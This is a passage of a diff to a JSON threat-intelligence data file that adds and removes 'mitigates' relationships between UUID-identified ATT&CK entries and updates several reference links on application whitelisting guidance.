], "type": "mitigates" + }, + { + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "34efb2fd-4dc2-40d4-a564-0c147c85034d", @@ -4998,6 +6030,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "cf1c2504-433f-4c4e-a1f8-91de45a0318c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "e49920b0-6c54-40c1-9571-73723653205f", "tags": [ @@ -5006,7 +6045,294 @@ "type": "mitigates" }, { - "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "dest-uuid": "f3d95a1f-bba2-44ce-9af7-37866cd63fd0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "6636bc83-0611-45a6-b74f-1f3daf635b8e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "8faedf87-dceb-4c35-b2a2-7286f59a3bc3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2acf44aa-542f-4366-b4eb-55ef5747759c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "d10cbd34-42e3-45c0-84d2-535a09849584", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "dfefe2ed-4389-4318-8762-f0272b350a1b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "573ad264-1371-4ae0-8482-d2673b719dba", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "6836813e-8ec8-4375-b459-abb388cb1a35", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "51a14c76-dd3b-440b-9c20-2bf91d25a814", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "e624264c-033a-424d-9fd7-fc9c3bbdb03e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "7b211ac6-c815-4189-93a9-ab415deca926", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2db31dcd-54da-405d-acef-b9129b816ed6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "7ad38ef1-381a-406d-872a-38b136eb5ecc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "86850eff-2729-40c3-b85e-c4af26da4a2d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "677569f9-a8b0-459e-ab24-7f18091fa7bf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "8cdeb020-e31e-4f88-a582-f53dcfbda819", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "e0033c16-a07e-48aa-8204-7c3ca669998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "d157f9d2-d09a-4efa-bb2a-64963f94e253", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "810aa4ad-61c9-49cb-993f-daa06199421d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "70d81154-b187-45f9-8ec5-295d01255979", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "74d2a63f-3c7b-4852-92da-02d8fbab16da", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "0c4b4fda-9062-47da-98b9-ceae2dcf052a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "b2d03cea-aec1-45ca-9744-9ee583c1e1cc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "144e007b-e638-431d-a894-45d90c54ab90", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "70857657-bd0b-4695-ad3e-b13f92cac1b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "77532a55-c283-4cd2-bc5d-2d0b65e9d88c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "ffeb0780-356e-4261-b036-cfb6bd234335", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5024,7 +6350,7 @@ "https://attack.mitre.org/mitigations/T1108", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx", "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" @@ -5057,6 +6383,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "791481f8-e96a-41be-b089-a088763083d4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "676975b9-7e8e-463d-a31e-4ed2ecbfed81", @@ -5078,6 +6411,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "16ab6452-c3c1-497c-a47d-206018ca1ada", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "25e53928-6f33-49b7-baee-8180578286f6", @@ -5132,7 +6472,7 @@ "https://attack.mitre.org/mitigations/T1022", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -5158,7 +6498,7 @@ "https://www.stigviewer.com/stig/windows_server_2008_r2_member_server/2015-06-25/finding/V-26482", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -5238,6 +6578,90 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "61afc315-860c-4364-825d-0d62b2e91edc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "543fceb5-cb92-40cb-aacf-6913d4db58bc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "17cc750b-e95b-4d7d-9dde-49e0de24148c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "03259939-0b57-482f-8eb5-87c0e0d54334", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "eb125d40-0b2d-41ac-a71a-3229241c2cd3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "b83e166d-13d7-4b52-8677-dff90c548fd7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "ffeb0780-356e-4261-b036-cfb6bd234335", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "a2c36a5d-4058-475e-8e77-fff75e50d3b9", @@ -5293,6 +6717,55 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "42fe883a-21ea-4cfb-b94a-78b6476dcc83", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "e624264c-033a-424d-9fd7-fc9c3bbdb03e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "70d81154-b187-45f9-8ec5-295d01255979", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "2c2ad92a-d710-41ab-a996-1db143bb4808", @@ -5327,6 +6800,48 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "b8cfed42-6a8a-4989-ad72-541af74475ec", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "5095a853-299c-4876-abd7-ac0050fb5462", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f4c1826f-a322-41cd-9557-562100848c84", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "d4b96d2c-1032-4b22-9235-2b5b649d0605", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f0589bc3-a6ae-425a-a3d5-5659bfee07f4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "72dade3e-1cba-4182-b3b3-a77ca52f02a1", @@ -5466,13 +6981,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", "tags": [ @@ -5578,13 +7086,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "0fff2797-19cb-41ea-a5f1-8a9303b8158e", "tags": [ @@ -5619,6 +7120,468 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "7f0ca133-88c4-40c6-a62f-b3083a7fbc2e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f3d95a1f-bba2-44ce-9af7-37866cd63fd0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "16ab6452-c3c1-497c-a47d-206018ca1ada", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "1b7b1806-7746-41a1-a35d-e48dae25ddba", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "35187df2-31ed-43b6-a1f5-2f1d3d58d3f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f9e9365a-9ca2-4d9c-8e7c-050d73d1101a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "dfefe2ed-4389-4318-8762-f0272b350a1b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "8a2f40cf-8325-47f9-96e4-b1ca4c7389bd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "e74de37c-a829-446c-937d-56a44f0e9306", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "365be77f-fc0e-42ee-bac8-4faf806d9336", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "a1b52199-c8c5-438a-9ded-656f1d0888c6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "7610cada-1499-41a4-b3dd-46467b68d177", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "a009cb25-4801-4116-9105-80a91cf15c1b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "1365fe3b-0f50-455d-b4da-266ce31c23b0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "51a14c76-dd3b-440b-9c20-2bf91d25a814", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "e624264c-033a-424d-9fd7-fc9c3bbdb03e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "7b211ac6-c815-4189-93a9-ab415deca926", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "341e222a-a6e3-4f6f-b69c-831d792b1580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "65917ae0-b854-4139-83fe-bf2441cf0196", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "34e793de-0274-4982-9c1a-246ed1c19dee", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "09b130a2-a77e-4af0-a361-f46f9aad1345", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "68a0c5ed-bee2-4513-830d-5b0d650139bd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "86850eff-2729-40c3-b85e-c4af26da4a2d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "677569f9-a8b0-459e-ab24-7f18091fa7bf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "8cdeb020-e31e-4f88-a582-f53dcfbda819", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f303a39a-6255-4b89-aecc-18c4d8ca7163", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "3120b9fa-23b8-4500-ae73-09494f607b7d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "6add2ab5-2711-4e9d-87c8-7a0be8531530", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "ea016b56-ae0e-47fe-967a-cc0ad51af67f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "4d2a5b3e-340d-4600-9123-309dd63c9bf8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "e0033c16-a07e-48aa-8204-7c3ca669998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "768dce68-8d0d-477a-b01d-0eea98b963a1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "d273434a-448e-4598-8e14-607f4a0d5e27", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f2877f7f-9a4c-4251-879f-1224e3006bee", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "3fc01293-ef5e-41c6-86ce-61f10706b64a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "acd0ba37-7ba9-4cc5-ac61-796586cd856d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "d157f9d2-d09a-4efa-bb2a-64963f94e253", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "fdc47f44-dd32-4b99-af5f-209f556f63c2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f4c1826f-a322-41cd-9557-562100848c84", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "d4b96d2c-1032-4b22-9235-2b5b649d0605", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "69e5226d-05dc-4f15-95d7-44f5ed78d06e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "06c00069-771a-4d57-8ef5-d3718c1a8771", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "9bb9e696-bff8-4ae1-9454-961fc7d91d5f", @@ -5799,6 +7762,174 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "f3d95a1f-bba2-44ce-9af7-37866cd63fd0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "70e52b04-2a0c-4cea-9d18-7149f1df9dc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "7610cada-1499-41a4-b3dd-46467b68d177", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "6831414d-bb70-42b7-8030-d4e06b2660c9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "1365fe3b-0f50-455d-b4da-266ce31c23b0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "8187bd2a-866f-4457-9009-86b0ddedffa3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "6add2ab5-2711-4e9d-87c8-7a0be8531530", + "tags": [ + 